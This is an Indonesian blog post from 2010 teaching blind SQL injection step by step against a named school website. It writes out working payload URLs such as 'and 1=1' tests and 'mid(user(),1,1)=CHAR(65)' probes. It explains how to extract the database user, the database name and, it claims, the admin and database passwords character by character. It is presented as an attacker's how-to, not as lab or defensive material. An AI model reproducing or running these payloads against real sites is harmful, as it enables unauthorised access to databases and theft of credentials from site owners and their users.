Rabu, 27 Januari 2010

Blind SQL Injection

Blind SQL Injection adalah salah satu tehnik exploitasi database yang berbeda
dengan sql injection biasa dimana pada sql injection biasa akan mengeluarkan sebuah
value akan tetapi pada tehnik blind sql injection tidak akan mengeluarkan value
apapun akan tetapi kita akan mengetahui value tersebut dengan trial and error akan
value tersebut / menguji true atau falsenya value tersebut...
disini GT memakai command
mid()= hampir sama fungsinya dengan substring()Blind SQL Injection
char()= adalah peubah dari karakter
lanjut..
ingat..sebelum mencoba,kita cek version sql nya..cara cek ada d tutorial sql inject yg
satu lg..
kalau version 4..kita memakai blind,karena v4 tidak support query
information_schema
kalau version 5,boleh pake ini,boleh pake sql inject yg biasa..heheh
lanjut...
Target: www.smanti.com

1.PENGETESAN BUG

Seperti biasa..ikuti langkah sebelumnya,seperti di tutorial SQL Inject biasa..cari
halaman yng dinamis,sisipkan and 1=0 dan and 1=1
www.smanti.com/berita.php?id=5 and 1=0 <<
www.smanti.com/berita.php?id=5 and 1=1 <<
eh ternyata ada bug nya...
lanjut....

2.BLIND INJECT

Query yg dipakai: and mid(user(),1,1)=CHAR(65)
saya jelaskan sedikit deh..

mid(user()1,1) = dalam kasus ini kita tidak tahu value dari user itu apa maka
dalam "()" kita kosongkan dan angka 1,1 dibelakang () adalah urutan dari value
tersebut sedangkan CHAR adalah peubah dalam decimal dan (65) adalah value
decimal tersebut.

kenapa kita mulai dengan 65 ?

karena "65" adalah "A" dalam ascii...
lanjut..
mari kita masukkan

www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(65)

ternyata hasilnya masih false (beritanya hilang) berarti value yg kita masukkan
salah.. tinggal tambah value na..jadi..

www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(66) <<<<<www.piclist.com/techref/ascii.htm

stelah d convert,ternyata 83 77 65 78 tuh d ascii adalah SMAN. nah udah hampir
tebak user name nya..kerjain ndiri y..okey. nah..gmana kalo mw dapet password na?
kita rubah value user() menjadi database() dan ulangi tahap2 diatas hingga mendapat
semua value yang true..
jadi
www.smanti.com/berita.php?id=5 and mid(database(),1,1)=CHAR(65)

cari lagi..sama kayak cari user tadi..harus sabar.. ulangi sampai dapat true .. tambain
value na..heheh.. dan rubah value database() untuk mencari value lainnya..
hingga mendapat admin password dan db password.

metode blind sql injection seperti ini membutuhkan kesabaran dan ketelitian attacker
untuk mendapatkan value yg tepat..(true)

akan tetapi metode ini hingga sekarang cukup efektif untuk web yang telah menfilter
celah sql injection...hehehe...